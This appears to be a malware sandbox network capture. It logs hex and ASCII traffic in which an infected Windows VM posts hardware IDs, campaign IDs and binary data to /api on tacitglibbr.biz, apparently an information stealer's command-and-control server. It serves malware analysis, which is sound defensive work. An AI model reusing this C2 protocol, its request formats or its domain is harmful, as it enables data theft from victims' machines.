2024-12-16 14:04:42 UTC	15057	OUT	Data Raw: 2d 2d 4b 45 30 50 33 52 30 43 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 45 30 50 33 52 30 43 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 45 30 50 33 52 30 43 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 45 30 50 33 52 30 43 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --KE0P3R0CAIContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--KE0P3R0CAIContent-Disposition: form-data; name="pid"2--KE0P3R0CAIContent-Disposition: form-data; name="lid"PsFKDg--pablo--KE0P3R0CAIContent-
2024-12-16 14:04:44 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oevom0219pqlq9r4rece4drga1; expires=Fri, 11-Apr-2025 07:51:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=radgUwcVplyV%2FYC8lSrJvLaN7pyoLq4fsbSSvJaHuVobRgmMsnLrkKK33GhFTpWnrnL1%2B3oPG7l1So6Kuscyg9zpOzW2STThoshRuEXHMdzxuW3ke2Nn8PxIiduGVexVsAc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f395e1bbf32e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&min_rtt=1768&rtt_var=688&sent=14&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15988&delivery_rate=1562332&cwnd=246&unsent_bytes=0&cid=b4e4e0de7c5cdcf7&ts=2143&x=0"
2024-12-16 14:04:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	50219	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 59 31 32 65 57 4c 6f 4b 6b 43 6d 38 7a 50 76 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 64 61 36 33 62 37 33 61 38 36 37 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MY12eWLoKkCm8zPv.1Context: 3c97da63b73a8673
2024-12-16 14:04:43 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:04:43 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 59 31 32 65 57 4c 6f 4b 6b 43 6d 38 7a 50 76 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 64 61 36 33 62 37 33 61 38 36 37 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: MY12eWLoKkCm8zPv.2Context: 3c97da63b73a8673<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0b
2024-12-16 14:04:43 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 59 31 32 65 57 4c 6f 4b 6b 43 6d 38 7a 50 76 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 39 37 64 61 36 33 62 37 33 61 38 36 37 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: MY12eWLoKkCm8zPv.3Context: 3c97da63b73a8673<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:04:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:04:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 62 71 74 71 48 67 4b 4a 30 69 50 34 55 32 2b 56 47 31 2b 63 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9bqtqHgKJ0iP4U2+VG1+cQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50220	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:46 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RQ3NQ0905 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: tacitglibbr.biz
2024-12-16 14:04:46 UTC	15331	OUT	Data Raw: 2d 2d 52 51 33 4e 51 30 39 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 51 33 4e 51 30 39 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 51 33 4e 51 30 39 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 52 51 33 4e 51 30 39 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --RQ3NQ0905Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--RQ3NQ0905Content-Disposition: form-data; name="pid"3--RQ3NQ0905Content-Disposition: form-data; name="lid"PsFKDg--pablo--RQ3NQ0905Content-Disp
2024-12-16 14:04:46 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-16 14:04:47 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m5la07i1546qfuj2kr050fef55; expires=Fri, 11-Apr-2025 07:51:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MDLWHJz9MxjfTlzfVfS%2FQpueBs5aqgs3aND3XwtGSZzvJcS94VEDrN3B4EECRavfapf6xyugNbLo0Qdw0YNLg3dwj0%2BoxeYA0vXYlRmAoaPTAWQjRrOCaqKQ%2FIQReeoTGYk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39758c900f59-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1502&min_rtt=1502&rtt_var=751&sent=13&recv=26&lost=0&retrans=1&sent_bytes=4216&recv_bytes=20861&delivery_rate=338983&cwnd=221&unsent_bytes=0&cid=c6988fe085216033&ts=1914&x=0"
2024-12-16 14:04:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50221	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:46 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:04:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:04:47 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v4nmcddajthgkioijjeebu38kq; expires=Fri, 11-Apr-2025 07:51:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TsQbGkPC3aku9S7yZijZlAWQfbKB5ampG2aM7ibvPXMmgu6u%2BDJggax1ZHApV0Ox5iiwL2BYvSqlcns5I3FjQ51GmD1028E3GUF6TowPs6rtDbLJoh%2BssMgiER1poiYOnrE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39763ff27d26-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1944&rtt_var=733&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1488277&cwnd=200&unsent_bytes=0&cid=faa6a66323ac0603&ts=1578&x=0"
2024-12-16 14:04:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:04:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50224	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:48 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:04:48 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:04:50 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7demlpra9bnafgk1n9qi78ebmu; expires=Fri, 11-Apr-2025 07:51:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nQ%2BEh2q%2BjqXspjTGG3thGGb9mMWKcw2O4ht%2FFuYlqWA7Xv6ksugq3i6IkQf4Z3nGMz%2Ftja30Y3K4Wu0LIydXWIEOIy8E%2BD1JLu83Nsn6lRg6BBt9CXKc%2Bp5%2FfwzQqUFxEKg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3987bd935e72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1606&rtt_var=602&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=946&delivery_rate=1817050&cwnd=193&unsent_bytes=0&cid=987a7d9c9b97ffd3&ts=1244&x=0"
2024-12-16 14:04:50 UTC	349	IN	Data Raw: 34 39 31 63 0d 0a 44 55 47 70 6f 6b 7a 6c 49 42 50 45 49 44 6d 6a 4c 47 67 66 42 31 5a 64 42 67 61 45 50 67 55 41 6b 49 6e 6f 75 55 6a 34 36 36 31 32 59 39 2b 41 64 74 45 4d 4d 62 64 46 47 35 6c 59 47 6d 70 69 65 6e 39 6e 59 71 59 45 59 32 48 38 2b 6f 32 56 61 6f 36 47 6a 7a 63 6e 79 4d 34 2f 67 41 77 78 6f 56 67 62 6d 58 63 54 50 57 49 34 66 7a 77 6b 34 56 52 6e 59 66 7a 72 69 64 49 6e 69 49 66 4f 5a 53 33 4f 79 69 6d 47 52 48 4b 6f 54 56 7a 47 53 51 6c 31 61 54 38 77 62 6d 75 6d 45 69 64 6c 36 71 76 53 6d 77 57 64 6e 38 78 41 49 4e 72 4a 62 70 67 4d 61 4f 5a 46 56 34 45 57 53 6e 35 69 4e 44 46 67 59 75 39 57 62 57 6a 30 36 6f 7a 54 4f 4a 47 4e 78 57 55 6a 7a 63 73 6a 6a 31 42 2f 6f 6b 70 58 77 45 4d 4a 50 53 74 30 4f 48 77 6b 76 68 77 30 55 50 48 36 6d Data Ascii: 491cDUGpokzlIBPEIDmjLGgfB1ZdBgaEPgUAkInouUj46612Y9+AdtEMMbdFG5lYGmpien9nYqYEY2H8+o2Vao6GjzcnyM4/gAwxoVgbmXcTPWI4fzwk4VRnYfzridIniIfOZS3OyimGRHKoTVzGSQl1aT8wbmumEidl6qvSmwWdn8xAINrJbpgMaOZFV4EWSn5iNDFgYu9WbWj06ozTOJGNxWUjzcsjj1B/okpXwEMJPSt0OHwkvhw0UPH6m
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 6a 7a 63 34 76 69 6b 4a 6a 72 6b 6c 51 78 46 77 42 64 47 67 35 50 32 6c 75 36 56 39 6e 5a 66 6a 68 68 64 45 75 6c 34 54 4a 62 79 4f 4c 6a 6d 36 41 57 6a 48 2b 41 6e 6a 45 58 67 31 78 63 33 59 46 4a 48 75 6f 52 53 64 6c 2f 71 76 53 6d 79 4b 66 69 73 78 6b 4c 4d 6a 49 4a 5a 56 43 59 36 42 50 58 74 4e 49 44 33 4e 76 4e 79 31 75 61 75 42 66 62 6d 6e 37 37 6f 33 66 61 74 54 4a 79 48 64 6a 6b 34 41 50 69 6b 6c 39 72 46 56 62 67 56 46 45 5a 43 55 7a 4d 79 51 38 70 6c 68 6d 5a 76 50 76 68 4e 55 75 6c 6f 2f 42 59 69 7a 4e 79 69 36 41 53 48 6d 75 51 31 62 4b 51 51 70 34 61 44 41 35 61 47 58 6a 48 43 6b 69 39 66 50 4b 67 32 71 30 6a 73 78 39 59 66 37 44 49 49 6c 46 5a 2b 5a 64 46 64 67 4f 44 58 45 6c 62 48 39 71 59 65 6c 4f 5a 6e 44 33 35 5a 6a 58 4c 35 79 45 7a 47 Data Ascii: jzc4vikJjrklQxFwBdGg5P2lu6V9nZfjhhdEul4TJbyOLjm6AWjH+AnjEXg1xc3YFJHuoRSdl/qvSmyKfisxkLMjIJZVCY6BPXtNID3NvNy1uauBfbmn77o3fatTJyHdjk4APikl9rFVbgVFEZCUzMyQ8plhmZvPvhNUulo/BYizNyi6ASHmuQ1bKQQp4aDA5aGXjHCki9fPKg2q0jsx9Yf7DIIlFZ+ZdFdgODXElbH9qYelOZnD35ZjXL5yEzG
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 49 49 6c 46 5a 2b 5a 64 46 64 67 4f 44 58 45 6c 62 48 39 70 62 4f 4e 5a 61 47 50 34 35 59 2f 52 4a 70 4b 48 7a 48 30 73 7a 38 41 69 6a 30 68 38 71 45 5a 54 79 45 55 42 65 32 55 31 4e 53 51 71 70 6c 74 2f 49 71 71 72 76 74 77 6d 6c 34 61 4e 57 69 44 46 7a 69 6d 52 41 6d 37 6f 57 78 76 47 51 6b 6f 6c 4a 54 67 32 5a 47 2f 73 57 47 64 6c 2f 2b 36 4a 33 43 6d 58 6a 73 56 68 4a 4d 2f 4d 4a 34 70 45 63 61 46 47 58 74 4e 4c 41 33 46 70 64 48 45 6b 59 2f 34 63 50 79 4c 64 37 4a 7a 59 42 5a 6d 59 78 69 38 38 68 64 6c 75 67 45 34 78 2f 67 4a 63 78 45 59 42 65 32 30 30 4c 57 46 71 37 56 31 74 5a 50 50 6d 68 74 30 71 6d 34 6e 4a 59 79 50 4d 78 7a 79 56 52 33 65 30 53 42 75 50 44 67 31 6c 4a 57 78 2f 55 6e 54 78 54 58 45 67 78 2b 69 45 31 53 32 4d 79 64 41 68 4f 6f 76 Data Ascii: IIlFZ+ZdFdgODXElbH9pbONZaGP45Y/RJpKHzH0sz8Aij0h8qEZTyEUBe2U1NSQqplt/Iqqrvtwml4aNWiDFzimRAm7oWxvGQkolJTg2ZG/sWGdl/+6J3CmXjsVhJM/MJ4pEcaFGXtNLA3FpdHEkY/4cPyLd7JzYBZmYxi88hdlugE4x/gJcxEYBe200LWFq7V1tZPPmht0qm4nJYyPMxzyVR3e0SBuPDg1lJWx/UnTxTXEgx+iE1S2MydAhOov
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 47 4f 75 54 46 62 4b 51 51 46 76 5a 54 6b 37 61 47 44 75 56 32 30 69 76 4b 75 4e 77 32 72 43 79 66 70 69 4c 4d 76 44 4f 4d 64 64 50 37 38 43 58 4d 30 4f 55 6a 31 70 4f 6a 39 72 61 4f 70 58 62 32 50 2b 35 59 33 65 49 35 4b 42 33 57 34 6e 77 38 45 67 69 45 4e 31 6f 30 64 66 78 6b 6f 4d 63 69 56 36 66 32 4e 38 70 67 51 6e 54 64 58 65 79 50 6f 51 32 70 61 42 64 6d 50 4d 7a 47 37 66 41 6e 32 6c 54 6c 50 4f 53 41 4e 78 62 7a 30 30 61 47 2f 69 55 47 35 6e 39 4f 71 50 33 69 75 65 68 63 56 70 49 4d 6a 50 49 59 68 4b 4d 65 67 43 58 4e 6b 4f 55 6a 31 41 49 7a 52 71 59 71 5a 44 4b 58 75 79 37 49 61 62 63 74 71 46 78 6d 6b 6c 7a 73 77 76 67 55 70 30 72 6b 5a 61 78 30 67 4a 63 6d 45 78 50 6d 74 67 36 6c 4a 74 59 2f 50 6e 67 64 51 68 6e 38 6d 42 4c 79 54 54 67 48 62 48 Data Ascii: GOuTFbKQQFvZTk7aGDuV20ivKuNw2rCyfpiLMvDOMddP78CXM0OUj1pOj9raOpXb2P+5Y3eI5KB3W4nw8EgiEN1o0dfxkoMciV6f2N8pgQnTdXeyPoQ2paBdmPMzG7fAn2lTlPOSANxbz00aG/iUG5n9OqP3iuehcVpIMjPIYhKMegCXNkOUj1AIzRqYqZDKXuy7IabctqFxmklzswvgUp0rkZax0gJcmExPmtg6lJtY/PngdQhn8mBLyTTgHbH
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 56 65 79 6b 45 47 50 53 74 30 4f 48 77 6b 76 68 78 4a 61 65 48 38 69 64 55 68 6a 4a 4b 50 63 47 33 53 67 43 6d 4c 41 69 6e 6d 51 56 44 4b 53 67 70 78 5a 54 41 79 5a 48 62 70 57 32 42 72 2b 66 6d 41 33 43 32 52 67 63 52 67 4a 64 6e 4d 49 4a 56 48 59 37 51 43 46 59 46 4a 45 6a 30 39 64 41 6c 6a 64 50 5a 66 4a 56 50 6b 36 4a 7a 51 4a 35 62 4a 30 43 45 36 69 38 63 69 78 78 6f 78 6f 45 31 53 77 6b 45 4c 64 47 6b 35 4f 6d 31 68 35 31 70 6a 61 50 6a 72 6a 4e 30 72 6e 34 50 4d 62 69 6e 43 78 79 61 41 51 57 50 6d 44 42 76 47 56 6b 6f 6c 4a 52 30 34 64 6d 72 32 48 48 67 73 36 36 75 4e 31 32 72 43 79 63 74 6c 4c 4d 2f 48 49 6f 46 48 64 36 74 44 56 4d 42 4f 42 58 6c 75 50 54 6c 6c 61 65 4e 52 59 33 44 34 34 49 58 58 49 35 61 45 6a 79 46 6a 7a 4e 68 75 33 77 4a 41 71 Data Ascii: VeykEGPSt0OHwkvhxJaeH8idUhjJKPcG3SgCmLAinmQVDKSgpxZTAyZHbpW2Br+fmA3C2RgcRgJdnMIJVHY7QCFYFJEj09dAljdPZfJVPk6JzQJ5bJ0CE6i8cixxoxoE1SwkELdGk5Om1h51pjaPjrjN0rn4PMbinCxyaAQWPmDBvGVkolJR04dmr2HHgs66uN12rCyctlLM/HIoFHd6tDVMBOBXluPTllaeNRY3D44IXXI5aEjyFjzNhu3wJAq
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 45 47 48 64 75 4d 54 4a 70 61 65 56 61 59 57 6e 2b 2b 59 50 62 4b 5a 48 4a 67 53 38 6b 30 34 42 32 78 32 46 6d 73 45 68 63 7a 56 67 42 66 47 59 69 4d 6e 51 6b 71 42 78 32 5a 65 4f 72 30 73 30 36 6a 59 37 51 49 54 71 4c 78 79 4c 48 47 6a 47 67 53 31 33 47 53 41 52 76 59 44 49 77 61 32 33 76 57 47 39 68 38 75 2b 4f 33 43 2b 5a 68 63 52 6f 49 4d 54 45 4a 34 6c 4c 66 75 59 4d 47 38 5a 57 53 69 55 6c 46 53 52 6e 61 4f 73 63 65 43 7a 72 71 34 33 58 61 73 4c 4a 77 32 45 6d 79 38 6f 6f 67 30 64 33 72 45 64 62 79 6b 30 46 65 57 4d 77 4d 47 52 76 37 31 31 68 5a 2f 6a 67 6a 4e 59 70 6e 49 2b 50 49 57 50 4d 32 47 37 66 41 6c 47 39 54 31 66 47 44 68 55 7a 66 48 51 34 61 43 53 2b 48 47 78 75 39 75 79 4b 31 69 6d 53 6a 4d 74 6c 4a 73 76 49 50 49 39 43 64 72 52 51 57 38 Data Ascii: EGHduMTJpaeVaYWn++YPbKZHJgS8k04B2x2FmsEhczVgBfGYiMnQkqBx2ZeOr0s06jY7QITqLxyLHGjGgS13GSARvYDIwa23vWG9h8u+O3C+ZhcRoIMTEJ4lLfuYMG8ZWSiUlFSRnaOsceCzrq43XasLJw2Emy8oog0d3rEdbyk0FeWMwMGRv711hZ/jgjNYpnI+PIWPM2G7fAlG9T1fGDhUzfHQ4aCS+HGxu9uyK1imSjMtlJsvIPI9CdrRQW8
2024-12-16 14:04:50 UTC	1369	IN	Data Raw: 4a 51 70 2f 64 6d 66 32 58 32 68 7a 7a 4b 76 53 77 68 54 61 67 74 6c 6f 4d 38 6a 57 4a 59 70 4f 59 4a 67 43 41 35 55 63 57 43 38 33 5a 69 41 6b 65 39 6b 53 4a 32 4f 79 73 37 50 43 61 6f 7a 4a 6c 7a 31 74 69 39 4a 75 33 77 49 32 70 56 42 4a 78 30 30 63 66 69 49 4b 41 55 4e 79 37 46 74 33 5a 65 58 6b 79 70 56 71 6c 63 6d 58 56 6d 50 43 78 7a 57 57 56 48 79 32 52 52 76 2b 41 45 70 6c 4a 57 78 2f 55 57 66 6f 55 6d 42 30 34 36 61 74 7a 53 43 64 6d 63 68 34 4c 49 75 4f 62 6f 45 43 4b 66 55 4d 47 38 56 66 53 69 55 31 5a 6d 51 78 4e 37 45 4d 4e 58 32 38 38 73 72 4e 61 73 4c 62 67 53 38 78 69 35 68 75 77 45 46 6a 74 45 52 59 31 30 31 4e 51 31 73 54 4a 57 6c 69 38 55 31 5a 58 50 58 78 68 39 30 39 69 38 58 61 62 43 33 46 78 7a 6a 48 44 44 47 70 41 67 50 34 44 6b 49 Data Ascii: 